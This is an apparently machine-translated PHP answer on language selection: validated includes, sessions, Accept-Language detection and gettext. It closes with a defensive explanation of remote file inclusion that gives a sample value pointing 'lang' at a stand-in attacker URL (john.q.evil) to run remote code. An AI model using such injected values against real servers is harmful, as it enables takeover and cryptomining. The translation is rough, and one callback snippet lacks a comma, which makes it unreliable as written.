简单的方法
您将文件保存在特定目录中,或严格检查文件名语法。
这是因为包含使用 require 或 include 的变量将执行一个文件可能在另一台服务器上,受其他人的控制(见下文,“注入”)在您的 Web 服务器的安全上下文中。你所以不希望这种情况发生,这不好笑。所以:检查文件名。
$lang = 'en';
if (array_key_exists('lang', $_REQUEST)) {
$test = $_REQUEST['lang'];
// Verify "lang" is a two-letter string
if (preg_match('#^[a-z]{2}$#', $test)) {
// Verify the requested language file exists
if (is_readable("./{$test}.php")) {
$lang = $test;
}
}
}
// Finally include the file.
include_once("{$lang}.php");
记住上次使用的语言
session_start();
$lang = 'en';
if (array_key_exists('lang', $_REQUEST)) {
...as before...
$lang = $test;
$_SESSION['lang'] = $lang;
} else {
if (array_key_exists('lang', $_SESSION)) {
$lang = $_SESSION['lang'];
}
}
// Finally include the file.
include_once("{$lang}.php");
更高级:使用函数来接受语言。
function validLanguage($test) {
// Verify "lang" is a two-letter string
if (preg_match('#^[a-z]{2}$#', $test)) {
// Verify the requested language file exists
if (is_readable("./{$test}.php")) {
return $test;
}
}
return null;
}
现在从浏览器中读取。
PHP 有a function 来检测浏览器需要什么语言。
$languages = array();
$languages[] = 'en'; // Default, with lowest priority
// Note: "en" default is not guaranteed to exist. You must ensure it does.
// Browser choice, with more priority than default
if (class_exists('Locale')) {
$locale = Locale::acceptFromHTTP($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if ($locale !== null) {
$test = substr($locale, 0, 2);
if (null !== ($test = validLanguage($test))) {
$languages[] = $test;
}
}
}
// Session, with more priority
if (array_key_exists('lang', $_SESSION)) {
$languages[] = $_SESSION['lang'];
}
// Language selected, with even more priority
if (array_key_exists('lang', $_REQUEST)) {
$test = $_REQUEST['lang'];
if (null !== ($test = validLanguage($test))) {
$languages[] = $test;
}
}
// Pop best choice for language
$lang = array_pop($languages);
// Remember for the next time
$_SESSION['lang'] = $lang;
// Finally include the appropriate file.
include_once("{$lang}.php");
Apache mod_rewrite
有了更多的经验,即使在之后,您也可以使用 Apache 服务器的 mod_rewrite 工具来请求https://yoursite.com/en/anypage.php 实际上等同于请求普通的https://yoursite.com/anypage.php?lang=en,如果您安装了它并且激活,实现对用户和 SEO 更友好的 URL。更多详情this answer。
另一种方式:使用 locale()
由于下面详述的原因,使用include 毕竟不是一个好主意。但通常你这样做是因为你有类似的东西
print "<h1>{$welcomeMessage}, {$username}!</h1>";
并且您希望能够说“你好,约翰!”或“你好,约翰!”或“Ciao,John”,视情况而定。
在 PHP 中,您可以通过多种方式做到这一点。更强大的方法之一是通过gettext。这需要你像这样重写上面的代码——注意“_”是一个有效的函数名! - ...
print "<h1>" . _('WELCOME_MESSAGE') .", {$username}!</h1>";
然后维护一个名为 pofile 的特殊文件,下划线系统可以使用该文件。
这在内存使用和速度方面有几个优势,对于专业用途也是如此,因为您可以将英文文件发送给俄罗斯专业翻译人员,他们(通常)会be able to use it straight away 更少麻烦,更多轻松并因此花费更少的钱,因此您将能够购买适当的 pofile - 一旦上传 - 将您的网站(或它的关键部分)翻译成俄语。您甚至可以让您的网站所有者(如果您是第三方开发者)提供他们自己的 pofile。
使用 gettext 框架的工作可以通过这个技巧变得不那么尴尬:事先告诉 PHP 无论输出什么都必须通过过滤器函数。
ob_start('my_translate');
此函数将解析参数以查找某些文本需要翻译的具体信息,如果是,则返回其翻译:
function my_translate($text) {
// I will translate ??CAPITAL_STRINGS_IN_DOUBLE_QUESTI1MARKS??
$telltale = '#\?\?([A-Z][A-Z_0-9]+)\?\?#';
return preg_replace_callback(
$telltale,
function ($matches) {
return _($matches[1]);
}
$text
);
}
所以现在你的 PHP 代码变成了
print "<h1>??WELCOME?? {$username}!</h1>";
而不是include("{$lang}.php") 你会有一个更复杂的序列,但你只需要在一个地方:
// To guess actual OS, see this answer:
// https://stackoverflow.com/Questions/1482260/how-to-get-the-os-on-which-php-is-running
if ('Linux' === PHP_OS) {
setlocale(LC_MESSAGES, $lang);
} else {
putenv("LC_ALL={$lang}");
}
bindtextdomain('website', 'translations');
textdomain('website');
此外,您需要将适当的文件放在“./translations”目录中。在这个例子中,$lang 有点复杂,因为它必须遵守“locale”语法——所以它应该是“fr_FR”而不是“fr”。
关于 PHP 代码注入的安全说明
想象一下,您的服务器并没有非常坚固(很多都没有;您会感到惊讶)。并且未检查或清理所需语言的名称。我,John Q. Evil,有理由怀疑可能是这种情况。或者只是想检查一下。我看到“lang=en”,我知道发生了什么。
所以我在我的服务器上准备了一个PHP脚本,并准备将其提供给不被解释;访问 https://john.q.evil/hack.php 将显示一个完整的 PHP 脚本,其中包含 <?php 开始标签。
然后我访问你的网站,并指定lang=https://john.q.evil/hack。你的网络服务器乖乖地下载并执行我的代码。反过来,我的代码执行一些诊断,确定它作为用户 daemon 在 ARM CPU 上的 Whatixix 5 服务器上运行,并在非特权上下文中下载另一个针对 ARM7 上的 Whatix 操作系统优化的二进制文件。然后使用shell_exec 或以许多其他可用方式之一执行它。几秒钟后,你的网络服务器开始,比如说,将加密货币挖掘到我的一个一次性和可否认的电子钱包中。
这种情况被称为remote inclusion attack 并且是完全有可能的,至于为什么有人要在几乎不知名的我身上遇到所有这些麻烦?,嗯,答案确实是 他们不会。但那是因为他们不需要,不是个人,不是有意。他们将改为部署一个爬虫机器人,旨在有效地定位所有可能可通过这种方式利用的网络服务器,并将它们全部捕获。
为什么?好吧,如果我可以感染,比如说,一千个网络服务器,我实际上可以从每个服务器中吸取 15-20 瓦的计算能力,而不会引起太多注意。免费。在一年结束时,这应该转化为around 2000 US dollars 我现金所做的只是初始设置。但潜在的易受攻击网站的数量远远多于,不过一千个。达到 20,000 个受感染网站的目标将开始成为一项收入丰厚的工作(每年 4 万个),并且可以免税。
这就是为什么矿工恶意软件是一个行业,这就是为什么您需要始终清理您的输入。